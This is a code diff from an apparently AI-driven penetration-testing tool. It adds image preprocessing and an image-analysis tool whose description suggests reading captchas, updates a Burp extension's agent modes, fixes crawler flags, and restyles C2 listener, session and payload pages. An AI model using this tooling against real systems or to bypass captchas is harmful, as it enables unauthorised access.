func compressWithImaging(path string, opt PreprocessOptions, maxDim int, maxPayload int64, meta PreprocessMeta) (ImagePayload, PreprocessMeta, error) {
|
||||||
|
src, err := imaging.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
return ImagePayload{}, meta, fmt.Errorf("open image: %w", err)
|
||||||
|
}
|
||||||
|
bounds := src.Bounds()
|
||||||
|
meta.OriginalWidth = bounds.Dx()
|
||||||
|
meta.OriginalHeight = bounds.Dy()
|
||||||
|
|
||||||
|
dst := imaging.Fit(src, maxDim, maxDim, imaging.Lanczos)
|
||||||
|
outBounds := dst.Bounds()
|
||||||
|
meta.OutputWidth = outBounds.Dx()
|
||||||
|
meta.OutputHeight = outBounds.Dy()
|
||||||
|
|
||||||
|
quality := opt.JPEGQuality
|
||||||
|
if quality <= 0 || quality > 100 {
|
||||||
|
quality = 82
|
||||||
|
}
|
||||||
|
|
||||||
|
dim := maxDim
|
||||||
|
for attempt := 0; attempt < 6; attempt++ {
|
||||||
|
if attempt > 0 {
|
||||||
|
dim = int(float64(dim) * 0.85)
|
||||||
|
if dim < 256 {
|
||||||
|
dim = 256
|
||||||
|
}
|
||||||
|
dst = imaging.Fit(src, dim, dim, imaging.Lanczos)
|
||||||
|
outBounds = dst.Bounds()
|
||||||
|
meta.OutputWidth = outBounds.Dx()
|
||||||
|
meta.OutputHeight = outBounds.Dy()
|
||||||
|
}
|
||||||
|
q := quality
|
||||||
|
for q >= 60 {
|
||||||
|
var buf bytes.Buffer
|
||||||
|
if err := imaging.Encode(&buf, dst, imaging.JPEG, imaging.JPEGQuality(q)); err != nil {
|
||||||
|
return ImagePayload{}, meta, fmt.Errorf("encode jpeg: %w", err)
|
||||||
|
}
|
||||||
|
if int64(buf.Len()) <= maxPayload {
|
||||||
|
meta.JPEGQuality = q
|
||||||
|
meta.OutputBytes = buf.Len()
|
||||||
|
meta.OutputMIMEType = "image/jpeg"
|
||||||
|
meta.PreprocessMode = "jpeg"
|
||||||
|
return ImagePayload{Bytes: buf.Bytes(), MIMEType: "image/jpeg"}, meta, nil
|
||||||
|
}
|
||||||
|
q -= 5
|
||||||
|
}
|
||||||
|
quality = 75
|
||||||
|
}
|
||||||
|
return ImagePayload{}, meta, fmt.Errorf("could not compress image under max_payload_bytes %d", maxPayload)
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageDimensions(path string) (w, h int, format string, err error) {
|
||||||
|
f, err := os.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, "", err
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
cfg, format, err := image.DecodeConfig(f)
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, "", fmt.Errorf("decode image config: %w", err)
|
||||||
|
}
|
||||||
|
return cfg.Width, cfg.Height, format, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func mimeFromImageFormat(format string) string {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(format)) {
|
||||||
|
case "jpeg", "jpg":
|
||||||
|
return "image/jpeg"
|
||||||
|
case "png":
|
||||||
|
return "image/png"
|
||||||
|
case "gif":
|
||||||
|
return "image/gif"
|
||||||
|
case "webp":
|
||||||
|
return "image/webp"
|
||||||
|
case "bmp":
|
||||||
|
return "image/bmp"
|
||||||
|
case "tiff":
|
||||||
|
return "image/tiff"
|
||||||
|
default:
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// DecodeImageConfig 用于测试:确认文件可被解码。
|
||||||
|
func DecodeImageConfig(path string) (image.Config, string, error) {
|
||||||
|
f, err := os.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
return image.Config{}, "", err
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
return image.DecodeConfig(f)
|
||||||
|
}
|
||||||
@@ -0,0 +1,109 @@
|
|||||||
|
package vision
|
||||||
|
|
||||||
|
import (
|
||||||
|
"image"
|
||||||
|
"image/color"
|
||||||
|
"image/png"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/disintegration/imaging"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestPreprocessImageFile_scalesAndLimitsPayload(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "big.png")
|
||||||
|
img := imaging.New(3000, 2000, color.White)
|
||||||
|
if err := imaging.Save(img, path); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
out, meta, err := PreprocessImageFile(path, PreprocessOptions{
|
||||||
|
MaxImageBytes: 10 * 1024 * 1024,
|
||||||
|
MaxDimension: 1024,
|
||||||
|
JPEGQuality: 85,
|
||||||
|
MaxPayloadBytes: 600 * 1024,
|
||||||
|
SkipPreprocessBelowBytes: 0,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(out.Bytes) == 0 {
|
||||||
|
t.Fatal("empty output")
|
||||||
|
}
|
||||||
|
if meta.PreprocessMode != "jpeg" {
|
||||||
|
t.Fatalf("mode: %s", meta.PreprocessMode)
|
||||||
|
}
|
||||||
|
if meta.OutputWidth > 1024 || meta.OutputHeight > 1024 {
|
||||||
|
t.Fatalf("expected fit within 1024, got %dx%d", meta.OutputWidth, meta.OutputHeight)
|
||||||
|
}
|
||||||
|
if int64(len(out.Bytes)) > 600*1024 {
|
||||||
|
t.Fatalf("payload %d exceeds max", len(out.Bytes))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPreprocessImageFile_passthroughSmallPNG(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "small.png")
|
||||||
|
if err := imaging.Save(imaging.New(400, 300, color.White), path); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
out, meta, err := PreprocessImageFile(path, PreprocessOptions{
|
||||||
|
MaxImageBytes: 5 * 1024 * 1024,
|
||||||
|
MaxDimension: 2048,
|
||||||
|
MaxPayloadBytes: 512 * 1024,
|
||||||
|
SkipPreprocessBelowBytes: 2 * 1024 * 1024,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if meta.PreprocessMode != "passthrough" {
|
||||||
|
t.Fatalf("expected passthrough, got %s", meta.PreprocessMode)
|
||||||
|
}
|
||||||
|
if out.MIMEType != "image/png" {
|
||||||
|
t.Fatalf("mime: %s", out.MIMEType)
|
||||||
|
}
|
||||||
|
if meta.OutputWidth != 400 || meta.OutputHeight != 300 {
|
||||||
|
t.Fatalf("dims: %dx%d", meta.OutputWidth, meta.OutputHeight)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPreprocessImageFile_passthroughDisabled(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "small.png")
|
||||||
|
if err := imaging.Save(imaging.New(100, 100, color.White), path); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
_, meta, err := PreprocessImageFile(path, PreprocessOptions{
|
||||||
|
MaxDimension: 2048,
|
||||||
|
MaxPayloadBytes: 512 * 1024,
|
||||||
|
SkipPreprocessBelowBytes: 0,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if meta.PreprocessMode != "jpeg" {
|
||||||
|
t.Fatalf("expected jpeg compress, got %s", meta.PreprocessMode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPreprocessImageFile_rejectsOversizeFile(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
path := filepath.Join(dir, "tiny.png")
|
||||||
|
f, err := os.Create(path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := png.Encode(f, image.NewRGBA(image.Rect(0, 0, 2, 2))); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
f.Close()
|
||||||
|
|
||||||
|
_, _, err = PreprocessImageFile(path, PreprocessOptions{MaxImageBytes: 1})
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error when file exceeds max_image_bytes")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
package vision
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RegisterAnalyzeImageTool 在 vision.enabled 且 model 已配置时注册 MCP 工具 analyze_image。
|
||||||
|
func RegisterAnalyzeImageTool(mcpServer *mcp.Server, cfg *config.Config, logger *zap.Logger) {
|
||||||
|
if mcpServer == nil || cfg == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !cfg.Vision.Ready() {
|
||||||
|
if cfg.Vision.Enabled && logger != nil {
|
||||||
|
logger.Warn("vision.enabled 但 vision.model 为空,跳过注册 analyze_image")
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
cwd, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
if logger != nil {
|
||||||
|
logger.Warn("vision: getwd failed, skip analyze_image", zap.Error(err))
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
preOpt := PreprocessOptions{
|
||||||
|
MaxImageBytes: cfg.Vision.MaxImageBytesEffective(),
|
||||||
|
MaxDimension: cfg.Vision.MaxDimensionEffective(),
|
||||||
|
JPEGQuality: cfg.Vision.JPEGQualityEffective(),
|
||||||
|
MaxPayloadBytes: cfg.Vision.MaxPayloadBytesEffective(),
|
||||||
|
SkipPreprocessBelowBytes: cfg.Vision.SkipPreprocessBelowBytesEffective(),
|
||||||
|
}
|
||||||
|
client := NewClient(cfg.Vision, cfg.OpenAI)
|
||||||
|
|
||||||
|
tool := mcp.Tool{
|
||||||
|
Name: builtin.ToolAnalyzeImage,
|
||||||
|
Description: "分析服务器上的本地图片并返回文字描述(验证码、UI 元素、报错、架构图要点等)。" +
|
||||||
|
"输入为文件路径(如用户上传的 chat_uploads 路径或工具截图路径)。" +
|
||||||
|
"输出仅为文本,不含图片数据。不要对二进制图片使用 read_file 指望理解内容。",
|
||||||
|
ShortDescription: "分析本地图片并返回文字描述(验证码/UI/报错等)",
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"path": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "图片绝对路径或相对于进程工作目录的路径",
|
||||||
|
},
|
||||||
|
"question": map[string]interface{}{
|
||||||
|
"type": "string",
|
||||||
|
"description": "可选:希望模型重点回答的问题。验证码图建议:只输出验证码字符,不要空格和解释",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"required": []string{"path"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
handler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||||
|
path, _ := args["path"].(string)
|
||||||
|
question, _ := args["question"].(string)
|
||||||
|
|
||||||
|
abs, err := ResolveImagePath(path, cwd)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("路径校验失败: %v", err), true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
img, meta, err := PreprocessImageFile(abs, preOpt)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("图片预处理失败: %v", err), true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, err := client.Analyze(ctx, img, question)
|
||||||
|
if err != nil {
|
||||||
|
return textResult(fmt.Sprintf("视觉模型调用失败: %v", err), true), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
body := formatAnalysisResult(abs, meta, summary)
|
||||||
|
return textResult(body, false), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
mcpServer.RegisterTool(tool, handler)
|
||||||
|
if logger != nil {
|
||||||
|
logger.Info("vision: analyze_image 工具已注册", zap.String("model", cfg.Vision.Model))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func textResult(text string, isError bool) *mcp.ToolResult {
|
||||||
|
return &mcp.ToolResult{
|
||||||
|
Content: []mcp.Content{{Type: "text", Text: text}},
|
||||||
|
IsError: isError,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatAnalysisResult(path string, meta PreprocessMeta, summary string) string {
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString("## Image analysis\n")
|
||||||
|
b.WriteString("- **path**: ")
|
||||||
|
b.WriteString(path)
|
||||||
|
b.WriteString("\n")
|
||||||
|
switch meta.PreprocessMode {
|
||||||
|
case "passthrough":
|
||||||
|
b.WriteString(fmt.Sprintf("- **preprocess**: passthrough %dx%d, %s, %dKB (original %dKB)\n\n",
|
||||||
|
meta.OutputWidth, meta.OutputHeight, meta.OutputMIMEType,
|
||||||
|
(meta.OutputBytes+1023)/1024, (meta.OriginalBytes+1023)/1024))
|
||||||
|
default:
|
||||||
|
b.WriteString(fmt.Sprintf("- **preprocess**: %dx%d → %dx%d, jpeg q=%d, %dKB (original %dKB)\n\n",
|
||||||
|
meta.OriginalWidth, meta.OriginalHeight,
|
||||||
|
meta.OutputWidth, meta.OutputHeight,
|
||||||
|
meta.JPEGQuality, (meta.OutputBytes+1023)/1024,
|
||||||
|
(meta.OriginalBytes+1023)/1024))
|
||||||
|
}
|
||||||
|
b.WriteString("### Summary\n")
|
||||||
|
b.WriteString(strings.TrimSpace(summary))
|
||||||
|
b.WriteString("\n")
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
@@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
- Configure **Host / Port / HTTPS / Password** and choose an agent mode
|
- Configure **Host / Port / HTTPS / Password** and choose an agent mode
|
||||||
- Click **Validate** to login (`POST /api/auth/login`) and verify token (`GET /api/auth/validate`)
|
- Click **Validate** to login (`POST /api/auth/login`) and verify token (`GET /api/auth/validate`)
|
||||||
- Right-click any HTTP message in Burp and send it to CyberStrikeAI for **streaming web pentest**
|
- Right-click any HTTP message in Burp and send it to CyberStrikeAI for **streaming web pentest** (agent modes: **Eino Single**, Deep, Plan-Execute, Supervisor — maps to `/api/eino-agent/stream` or `/api/multi-agent/stream`)
|
||||||
- Keep a **test history sidebar** (searchable) so you can revisit previous runs
|
- Keep a **test history sidebar** (searchable) so you can revisit previous runs
|
||||||
- Output is split into **collapsible Progress** + **Final Response** (Markdown rendering supported)
|
- Output is split into **collapsible Progress** + **Final Response** (Markdown rendering supported)
|
||||||
- View captured **Request / Response** for each run
|
- View captured **Request / Response** for each run
|
||||||
|
|||||||
@@ -10,8 +10,8 @@
|
|||||||
- 右键任意 HTTP 请求包 → **Send to CyberStrikeAI (stream test)**:
|
- 右键任意 HTTP 请求包 → **Send to CyberStrikeAI (stream test)**:
|
||||||
- 将该 HTTP 请求(含 headers/body;若存在响应则附带截断片段)发送到 CyberStrikeAI
|
- 将该 HTTP 请求(含 headers/body;若存在响应则附带截断片段)发送到 CyberStrikeAI
|
||||||
- 以 **SSE 流式**接收返回内容,并在标签页中实时展示
|
- 以 **SSE 流式**接收返回内容,并在标签页中实时展示
|
||||||
- 单 Agent:`POST /api/agent-loop/stream`
|
- 单 Agent:`POST /api/eino-agent/stream`
|
||||||
- 多 Agent:`POST /api/multi-agent/stream`(需要服务端启用 `multi_agent.enabled: true`)
|
- 多 Agent:`POST /api/multi-agent/stream`(需 `multi_agent.enabled: true`,请求体 `orchestration`)
|
||||||
- **测试历史侧边栏(可搜索)**:每次发送都会新增一条记录,方便回看与对比
|
- **测试历史侧边栏(可搜索)**:每次发送都会新增一条记录,方便回看与对比
|
||||||
- **Output 分区**:`Progress`(可折叠)+ `Final Response`(主区域)
|
- **Output 分区**:`Progress`(可折叠)+ `Final Response`(主区域)
|
||||||
- **Markdown 渲染**:最终输出可在 Output 主区域渲染为富文本(可开关)
|
- **Markdown 渲染**:最终输出可在 Output 主区域渲染为富文本(可开关)
|
||||||
|
|||||||
-1
@@ -38,7 +38,6 @@ final class CyberStrikeAIClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
enum AgentMode {
|
enum AgentMode {
|
||||||
NATIVE_REACT("Native ReAct", "/api/agent-loop/stream", null),
|
|
||||||
EINO_SINGLE("Eino Single (ADK)", "/api/eino-agent/stream", null),
|
EINO_SINGLE("Eino Single (ADK)", "/api/eino-agent/stream", null),
|
||||||
DEEP("Deep (DeepAgent)", "/api/multi-agent/stream", "deep"),
|
DEEP("Deep (DeepAgent)", "/api/multi-agent/stream", "deep"),
|
||||||
PLAN_EXECUTE("Plan-Execute", "/api/multi-agent/stream", "plan_execute"),
|
PLAN_EXECUTE("Plan-Execute", "/api/multi-agent/stream", "plan_execute"),
|
||||||
|
|||||||
+11
-4
@@ -16,9 +16,16 @@ final class CyberStrikeAITab implements ITab {
|
|||||||
private final JTextField portField = new JTextField("8080");
|
private final JTextField portField = new JTextField("8080");
|
||||||
private final JCheckBox useHttpsBox = new JCheckBox("HTTPS", true);
|
private final JCheckBox useHttpsBox = new JCheckBox("HTTPS", true);
|
||||||
private final JPasswordField passwordField = new JPasswordField();
|
private final JPasswordField passwordField = new JPasswordField();
|
||||||
private final JComboBox<String> agentModeBox = new JComboBox<>(new String[]{
|
private final JComboBox<String> agentModeBox = new JComboBox<>(agentModeLabels());
|
||||||
"Native ReAct", "Eino Single (ADK)", "Deep (DeepAgent)", "Plan-Execute", "Supervisor"
|
private static String[] agentModeLabels() {
|
||||||
});
|
CyberStrikeAIClient.AgentMode[] modes = CyberStrikeAIClient.AgentMode.values();
|
||||||
|
String[] labels = new String[modes.length];
|
||||||
|
for (int i = 0; i < modes.length; i++) {
|
||||||
|
labels[i] = modes[i].displayName;
|
||||||
|
}
|
||||||
|
return labels;
|
||||||
|
}
|
||||||
|
|
||||||
private final JButton validateButton = new JButton("Validate");
|
private final JButton validateButton = new JButton("Validate");
|
||||||
private final JButton clearButton = new JButton("Clear Output");
|
private final JButton clearButton = new JButton("Clear Output");
|
||||||
private final JButton stopButton = new JButton("Stop");
|
private final JButton stopButton = new JButton("Stop");
|
||||||
@@ -554,7 +561,7 @@ final class CyberStrikeAITab implements ITab {
|
|||||||
int idx = agentModeBox.getSelectedIndex();
|
int idx = agentModeBox.getSelectedIndex();
|
||||||
CyberStrikeAIClient.AgentMode mode = (idx >= 0 && idx < AGENT_MODES.length)
|
CyberStrikeAIClient.AgentMode mode = (idx >= 0 && idx < AGENT_MODES.length)
|
||||||
? AGENT_MODES[idx]
|
? AGENT_MODES[idx]
|
||||||
: CyberStrikeAIClient.AgentMode.NATIVE_REACT;
|
: CyberStrikeAIClient.AgentMode.EINO_SINGLE;
|
||||||
return new CyberStrikeAIClient.Config(baseUrl, password, mode);
|
return new CyberStrikeAIClient.Config(baseUrl, password, mode);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+6
-6
@@ -39,9 +39,9 @@ parameters:
|
|||||||
default: true
|
default: true
|
||||||
- name: "form_extraction"
|
- name: "form_extraction"
|
||||||
type: "bool"
|
type: "bool"
|
||||||
description: "启用表单提取"
|
description: "启用表单提取(-fx / -form-extraction)"
|
||||||
required: false
|
required: false
|
||||||
flag: "-forms"
|
flag: "-fx"
|
||||||
format: "flag"
|
format: "flag"
|
||||||
default: true
|
default: true
|
||||||
- name: "additional_args"
|
- name: "additional_args"
|
||||||
@@ -50,10 +50,10 @@ parameters:
|
|||||||
额外的Katana参数。用于传递未在参数列表中定义的Katana选项。
|
额外的Katana参数。用于传递未在参数列表中定义的Katana选项。
|
||||||
|
|
||||||
**示例值:**
|
**示例值:**
|
||||||
- "--headless": 使用无头浏览器
|
- "-headless": 使用无头浏览器
|
||||||
- "-f": 输出格式
|
- "-output-template '{{url}}'": 自定义输出格式
|
||||||
- "-o output.txt": 输出到文件
|
- "-output output.txt": 输出到文件
|
||||||
- "-c": 并发数
|
- "-c 20": 并发数
|
||||||
|
|
||||||
**注意事项:**
|
**注意事项:**
|
||||||
- 多个参数用空格分隔
|
- 多个参数用空格分隔
|
||||||
|
|||||||
+223
-135
@@ -37,7 +37,6 @@
|
|||||||
Form Controls (scoped to C2 pages)
|
Form Controls (scoped to C2 pages)
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
#page-c2 .form-control,
|
|
||||||
#page-c2-listeners .form-control,
|
#page-c2-listeners .form-control,
|
||||||
#page-c2-sessions .form-control,
|
#page-c2-sessions .form-control,
|
||||||
#page-c2-tasks .form-control,
|
#page-c2-tasks .form-control,
|
||||||
@@ -61,7 +60,6 @@
|
|||||||
appearance: none;
|
appearance: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
#page-c2 .form-control:focus,
|
|
||||||
#page-c2-listeners .form-control:focus,
|
#page-c2-listeners .form-control:focus,
|
||||||
#page-c2-sessions .form-control:focus,
|
#page-c2-sessions .form-control:focus,
|
||||||
#page-c2-tasks .form-control:focus,
|
#page-c2-tasks .form-control:focus,
|
||||||
@@ -73,7 +71,6 @@
|
|||||||
box-shadow: 0 0 0 3px var(--c2-accent-dim);
|
box-shadow: 0 0 0 3px var(--c2-accent-dim);
|
||||||
}
|
}
|
||||||
|
|
||||||
#page-c2 select.form-control,
|
|
||||||
#page-c2-payloads select.form-control,
|
#page-c2-payloads select.form-control,
|
||||||
.c2-modal select.form-control {
|
.c2-modal select.form-control {
|
||||||
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%2364748b' d='M2.5 4.5L6 8l3.5-3.5'/%3E%3C/svg%3E");
|
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%2364748b' d='M2.5 4.5L6 8l3.5-3.5'/%3E%3C/svg%3E");
|
||||||
@@ -85,7 +82,6 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* 原生下拉:避免 appearance:none 在部分浏览器中导致 select 无法正常展开 */
|
/* 原生下拉:避免 appearance:none 在部分浏览器中导致 select 无法正常展开 */
|
||||||
#page-c2 select.form-control.c2-native-select,
|
|
||||||
#page-c2-payloads select.form-control.c2-native-select,
|
#page-c2-payloads select.form-control.c2-native-select,
|
||||||
.c2-modal select.form-control.c2-native-select {
|
.c2-modal select.form-control.c2-native-select {
|
||||||
appearance: auto;
|
appearance: auto;
|
||||||
@@ -94,7 +90,6 @@
|
|||||||
padding-right: 14px;
|
padding-right: 14px;
|
||||||
}
|
}
|
||||||
|
|
||||||
#page-c2 textarea.form-control,
|
|
||||||
#page-c2-payloads textarea.form-control,
|
#page-c2-payloads textarea.form-control,
|
||||||
.c2-modal textarea.form-control {
|
.c2-modal textarea.form-control {
|
||||||
resize: vertical;
|
resize: vertical;
|
||||||
@@ -104,7 +99,6 @@
|
|||||||
line-height: 1.6;
|
line-height: 1.6;
|
||||||
}
|
}
|
||||||
|
|
||||||
#page-c2 .form-control::placeholder,
|
|
||||||
#page-c2-payloads .form-control::placeholder,
|
#page-c2-payloads .form-control::placeholder,
|
||||||
.c2-modal .form-control::placeholder {
|
.c2-modal .form-control::placeholder {
|
||||||
color: var(--c2-text-muted);
|
color: var(--c2-text-muted);
|
||||||
@@ -140,9 +134,6 @@
|
|||||||
Layout
|
Layout
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
.c2-layout { display: flex; flex-direction: column; height: 100%; }
|
|
||||||
.c2-main { flex: 1; overflow-y: auto; }
|
|
||||||
|
|
||||||
.c2-empty {
|
.c2-empty {
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
@@ -171,103 +162,6 @@
|
|||||||
margin: 12px;
|
margin: 12px;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ============================================================================
|
|
||||||
Dashboard / Welcome
|
|
||||||
============================================================================ */
|
|
||||||
|
|
||||||
.c2-welcome {
|
|
||||||
text-align: center;
|
|
||||||
padding: 100px 24px 80px;
|
|
||||||
max-width: 860px;
|
|
||||||
margin: 0 auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-welcome-icon {
|
|
||||||
margin-bottom: 16px;
|
|
||||||
animation: c2-float 4s ease-in-out infinite;
|
|
||||||
}
|
|
||||||
|
|
||||||
@keyframes c2-float {
|
|
||||||
0%, 100% { transform: translateY(0); }
|
|
||||||
50% { transform: translateY(-8px); }
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-welcome h3 {
|
|
||||||
font-size: 28px;
|
|
||||||
margin-bottom: 12px;
|
|
||||||
color: var(--c2-text);
|
|
||||||
font-weight: 800;
|
|
||||||
letter-spacing: -0.5px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-welcome p {
|
|
||||||
color: var(--c2-text-dim);
|
|
||||||
font-size: 15px;
|
|
||||||
line-height: 1.7;
|
|
||||||
margin-bottom: 48px;
|
|
||||||
max-width: 520px;
|
|
||||||
margin-left: auto;
|
|
||||||
margin-right: auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-stats {
|
|
||||||
display: flex;
|
|
||||||
justify-content: center;
|
|
||||||
gap: 16px;
|
|
||||||
margin-bottom: 48px;
|
|
||||||
flex-wrap: wrap;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-stat-item {
|
|
||||||
display: flex;
|
|
||||||
flex-direction: column;
|
|
||||||
align-items: center;
|
|
||||||
padding: 28px 40px;
|
|
||||||
background: var(--c2-surface);
|
|
||||||
border-radius: var(--c2-radius);
|
|
||||||
border: 1.5px solid var(--c2-border);
|
|
||||||
min-width: 160px;
|
|
||||||
transition: all 0.3s ease;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-stat-item:hover {
|
|
||||||
transform: translateY(-4px);
|
|
||||||
box-shadow: var(--c2-shadow-md);
|
|
||||||
border-color: var(--c2-accent);
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-stat-item:nth-child(1) .c2-stat-value { color: var(--c2-accent); }
|
|
||||||
.c2-stat-item:nth-child(2) .c2-stat-value { color: var(--c2-green); }
|
|
||||||
.c2-stat-item:nth-child(3) .c2-stat-value { color: var(--c2-amber); }
|
|
||||||
|
|
||||||
.c2-stat-value {
|
|
||||||
font-size: 36px;
|
|
||||||
font-weight: 800;
|
|
||||||
line-height: 1;
|
|
||||||
letter-spacing: -1px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-stat-label {
|
|
||||||
font-size: 12px;
|
|
||||||
color: var(--c2-text-dim);
|
|
||||||
margin-top: 12px;
|
|
||||||
font-weight: 600;
|
|
||||||
letter-spacing: 0.3px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-actions {
|
|
||||||
display: flex;
|
|
||||||
gap: 12px;
|
|
||||||
justify-content: center;
|
|
||||||
flex-wrap: wrap;
|
|
||||||
max-width: 420px;
|
|
||||||
margin-inline: auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-actions > button {
|
|
||||||
flex: 1;
|
|
||||||
min-width: min(100%, 160px);
|
|
||||||
}
|
|
||||||
/* ============================================================================
|
/* ============================================================================
|
||||||
Listener Cards
|
Listener Cards
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
@@ -772,6 +666,66 @@
|
|||||||
border: 1px solid var(--c2-border);
|
border: 1px solid var(--c2-border);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#c2-file-upload-btn.is-disabled,
|
||||||
|
#c2-file-upload-btn:disabled {
|
||||||
|
opacity: 0.5;
|
||||||
|
cursor: not-allowed;
|
||||||
|
color: var(--c2-text-dim, #94a3b8);
|
||||||
|
border-color: var(--c2-border, #e2e8f0);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-hint {
|
||||||
|
font-size: 12px;
|
||||||
|
color: #b45309;
|
||||||
|
background: rgba(245, 158, 11, 0.08);
|
||||||
|
border: 1px solid rgba(245, 158, 11, 0.25);
|
||||||
|
border-radius: var(--c2-radius-xs, 4px);
|
||||||
|
padding: 8px 12px;
|
||||||
|
margin: -8px 0 12px;
|
||||||
|
line-height: 1.5;
|
||||||
|
word-break: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-hint[hidden] {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 10px;
|
||||||
|
margin: -8px 0 12px;
|
||||||
|
padding: 0 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress[hidden] {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-track {
|
||||||
|
flex: 1;
|
||||||
|
height: 4px;
|
||||||
|
background: var(--c2-border);
|
||||||
|
border-radius: 2px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-fill {
|
||||||
|
height: 100%;
|
||||||
|
width: 0;
|
||||||
|
background: var(--c2-accent, #3b82f6);
|
||||||
|
transition: width 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-label {
|
||||||
|
